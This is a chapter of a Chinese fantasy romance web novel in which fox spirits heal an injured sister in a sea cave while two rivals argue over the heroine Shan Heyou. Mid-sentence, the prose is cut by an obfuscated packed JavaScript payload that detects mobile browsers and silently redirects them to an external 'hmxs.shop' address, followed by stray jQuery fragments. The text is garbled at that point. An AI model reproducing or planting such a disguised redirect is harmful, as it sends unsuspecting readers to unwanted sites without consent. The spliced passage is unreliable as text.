“所以您不希望我们说出你们的妖族身份?您放心,我定当守口如瓶。”单禾悠伸出三根手指发誓。
柳雪心直口快,态度强硬,“你不守口如瓶也不行。”
柳霜扯过姐姐,“禾悠,我姐姐她就这个性子,你多多担待一下。那日苦海阁我被闪电击中,灵脉衰弱现出原形,最后化作一缕黑烟才从你和那大妖眼底下跑走,我不是故意让你为难这么多日的。”
柳雪说,“如果不是我和娘觉得不对劲,尾随爹偷偷出来一趟,我真不敢想你会被折磨成什么样。”
她们这一番姐妹情深,单禾悠左看看右看看,怪不好受的。好搭档就在眼皮子底下受苦受难,她还听之任之,虽然按道理来说责任不应该在她这里,但她良心难安。
含香看出来了不对劲,安慰她,“是我们的问题,我们要隐瞒身份,我们这么多年一直抹除了妖族气息,说不定天上来人了可探查不出我们的身份,这一切都是我们母女几个的利益,你一声不吭就答应下来,我还没来得及谢你呢。”
单禾悠顿时又眼眶泛红,水光腾腾。
含香继续说,“霜霜养伤三日便可好个大半,我们想好了法子瞒天过海,你夜里随我们一道出去吧。我们带你过来,就是怕你不知情,透露了不只有一只狐妖,这样就麻烦了。”
单禾悠和孟辞书是唯二见证了整个救援过程的人,尤其是和三个狐妖有了交集,柳霜和一只狐狸的生活好交代,从狐原偷龙换凤一身狐皮扮作柳霜即可糊弄一二,但若是出现三个狐狸,柳家的小姐夫人还丢了好几天,那就没法圆这个谎。
因此,这晚上含香和柳雪就要赶回去,无非拖个借口说去寻柳霜了,柳富贵偷偷瞒了这件事,自然不占理,多争辩几句他就不好多说,而狐狸不见,其实只要柳霜回来就平安无事,没人会关心有作恶嫌疑的狐狸去处。
临近半夜,含香哄睡着柳霜,柳霜柳雪严格来说并非完全形态的妖族,她们掺杂了别族血脉,顶多算作半妖,这半妖有好处,那就是可以修炼几套系统的法术,体内可以同时维持不同种族的灵力运转,而有利即有弊,半妖受伤恢复非常困难,尤其是内伤。
半妖恢复,需要先用高温真火隔着皮囊,烧化灵珠。灵珠受了内伤本就破碎,两股不同的力量掺杂,烧化后的灵珠揉碎灵力,再重新炼制,将不同灵力分类归置。
这个过程不亚于进了火炉,受到三昧真火的灼烧。
狭小的洞穴,冒着旺盛的火焰,黑暗的洞壁一时间金碧辉煌,让人目不暇接。
单禾悠闭眼祈求,“柳霜平平安安。”
突然身侧衣袍翻滚,“那我也希望她平平安安。”孟辞书松开眉眼,重复单禾悠的心愿。
单禾悠眼神凝滞了片刻。他的这样举动她很熟悉,过去的日子里,每年的生辰孟辞书许愿都先让单禾悠说一个,哪怕婶儿说过很多次这样就没用了,他还是坚持不懈让单禾悠先说,然后他说他的愿望是:单禾悠心想事成。
单禾悠说,“那我希望孟辞书在云海镇好好生活向前看,不要再和我有半点瓜葛。”
孟辞书长久地不语,试图以沉默对待单禾悠明确的态度。
这时,柳雪出声,“单禾悠你帮个忙,你体内灵珠力量强大,借我们一用。”
含香找出空子补充,“我们可以察觉到你体内有分散的灵珠力量,调取一部分应该无碍,新鲜的力量还有助于修补伤口。”
单禾悠说,“好我这就来。”她走之前低头看了眼孟辞书,“有些事情我回头和你交代,如果我们一会出去有人问你什么,你都不要说话。”
孟辞书微笑点头,像朵单纯无害的小白花。
单禾悠没在他刻意的微笑上停留一瞬,错开眼神就加入妖狐们的救援中。
柳霜狐妖的形态在中央,柳雪,含香,单禾悠各占三方,形成了一个灵力强悍,屏蔽外部的灵力圈,外部的风声雨声对话声都传不进来,里面有里面的世界,外面有外面的。
此时洞穴外,有一道白袍降落,江扼一落地就嗅到了强悍灵力逸散的味道,周围的海水在这种隐秘的压制下,平静无澜,和远一些波涛汹涌的海域一做对比,显得格外诡异。张醉岁全程抓着江扼衣袖,叫了无数啊啊啊啊啊才随之落地。
从王奶奶家出岛很简单,但这附近的海域连接着深海区域,为了防止凡人入内,有几道隐秘阵法。一般的人进来,不出半个时辰就会在风浪里返程回家,这对于江扼来说不是难事,但这几个阵法必定被狐妖调整过,目的就是拦下像他这样的人。
足足一个下午过去,他才和张醉岁抵达目的地。
江扼说,“里面危险,你进去就是给我添麻烦,就站这守着,出了问题立刻返程。”
张醉岁点头说好。他在危急关头还是不掉链子,不争馒头争口气。
江扼循着昏暗的洞穴,弓着背一路探进,他指尖掐诀,雪红花留下的痕迹化作一朵朵小红花,落在洞穴上,像一枚枚掌印指引他前行。
走到底,他摸着石壁,“单禾悠,你不是要出来吗?我来接你。”
此刻的洞穴里,唯一还能听见石外动静的只有孟辞书,他眸色漆黑,低头沉思,“她很好,但她不会和你走的,你走吧。”
江扼一听这声音便心思大乱,一股冰寒直漫每一根血管,他浑身上下冰凉不已,“关你什么事?”
虽然这话里说明了单禾悠暂时无恙,但他面色从略带喜色瞬时转变,此刻状貌幽幽。
孟辞书眼睛圆成鹿眼,水灵灵地隔着岩石望向洞外之人,摆手无奈道,“怎么和我没关系?你都说了我和单禾悠青梅竹马,我其实才应该问问你,你是哪里来的人?你有什么资格问她要去哪里,要做什么,你这样做不太对劲呀。这位兄台,你好像半路横插进来的人吧?”
“再说,我知道你觉得她对我没有感情,但是如果真的没有,你会这么紧张吗?她如果真的不在乎我了,她甚至看都不会看我一眼,她现在这样子只能说明她还在生我的气,而她还在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16471432|177756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生我的气就说明她还记着我的仇,她还在乎我。”
“我们十多年的交情不是一时就可以改变的,你不要妄想了。”
江扼淡眉紧蹙,“你在说些什么?我只知道她说了她想出来。”
孟辞书呵呵两声,“你的意思是你对她没有男女之情?你别装了,你什么心思我一个眼神就能看出来,我们同一个性别,有些话说得简单明了不好吗?”
这句话猛烈敲击着江扼,他张了张嘴,想否定却怎么都说不出否定的词语。
孟辞书促狭地眯了眯眼,“感情上的事,不否定就是肯定。”
孟辞书不知道的是他的话犹如毒蛇,紧紧刺激着江扼。
此刻江扼脑海里频繁涌现那些令他厌烦的记忆:孟辞书给单禾悠递信,孟辞书和单禾悠在一张桌子相安无事地吃饭,孟辞书在程家和单禾悠两个人谈话,孟辞书在狐妖阵法里保护了单禾悠,此时此刻还和她待在一起,在这近在咫尺的洞穴里。
什么不否定就是肯定?一派胡言。一个忘恩负义的人还说起了大道理。
江扼说,“一派胡言。我只是单纯地讨厌你,在想怎么杀了你。”
孟辞书听至此哈哈大笑起来,“你讨厌我?你是讨厌我和单禾悠多年交情,而这些年你和她毫无关系,你是讨厌哪怕我一个人远走,这次回来她还会为我情绪大动还在乎我,而她根本记不起你这只妖,你是讨厌我占据了你的位置,和她吃饭和她说话,轻而易举就占据了她的视线。你不是讨厌我,你是在嫉妒我。”
他从身上掏出一面黑色镜子,那是他趁所有人不注意从单禾悠身下摘下的,他一把捏碎,镜玻璃共鲜血落了一地。
他苍白的面容勾起艳丽娇俏的笑,如同花枝乱颤,玉珠坠地,“你不是在考虑怎么杀了我,你是在考虑怎么扼杀这段被我说中的感情。毕竟你是妖族,她是人族,你和她天然不相容,而我和她天造地设。”
江扼咻地噤声,他视线涣散,依靠于石壁之上,眼神返复流连才重新凝聚一个焦点,“你让她出来和我说,我只问她走不走。”
还有一句话他没说。
孟辞书鬼魅的笑容依旧挂着,说了句好。
他缓缓探进单禾悠的灵力圈内,问了句,“我们现在走不走。”
在单禾悠回答之际,他趁其不备,撕开灵力圈一道口子。
单禾悠说,“不走。当然不走。应该还要半个时辰,再等等去吧。”
孟辞书在她说完前面两句话的时候就补上了口子,最后落尽江扼耳朵里的是“不走。当然不走。”
孟辞书补充,“狐妖不会伤她,我也不会伤她。而且你心里应该有数,我们哪里能够伤得了她?”
孟辞书不只是书呆子,他对修行是有研究的。单禾悠释放出的灵力太过强势,恐怕几只妖族和他一起联手,在没有提前布阵的情况下,根本不可能伤她半根汗毛。
江扼又一次噤声,洞穴里也响起轻缓的脚步声,他背对岩壁逐渐走远。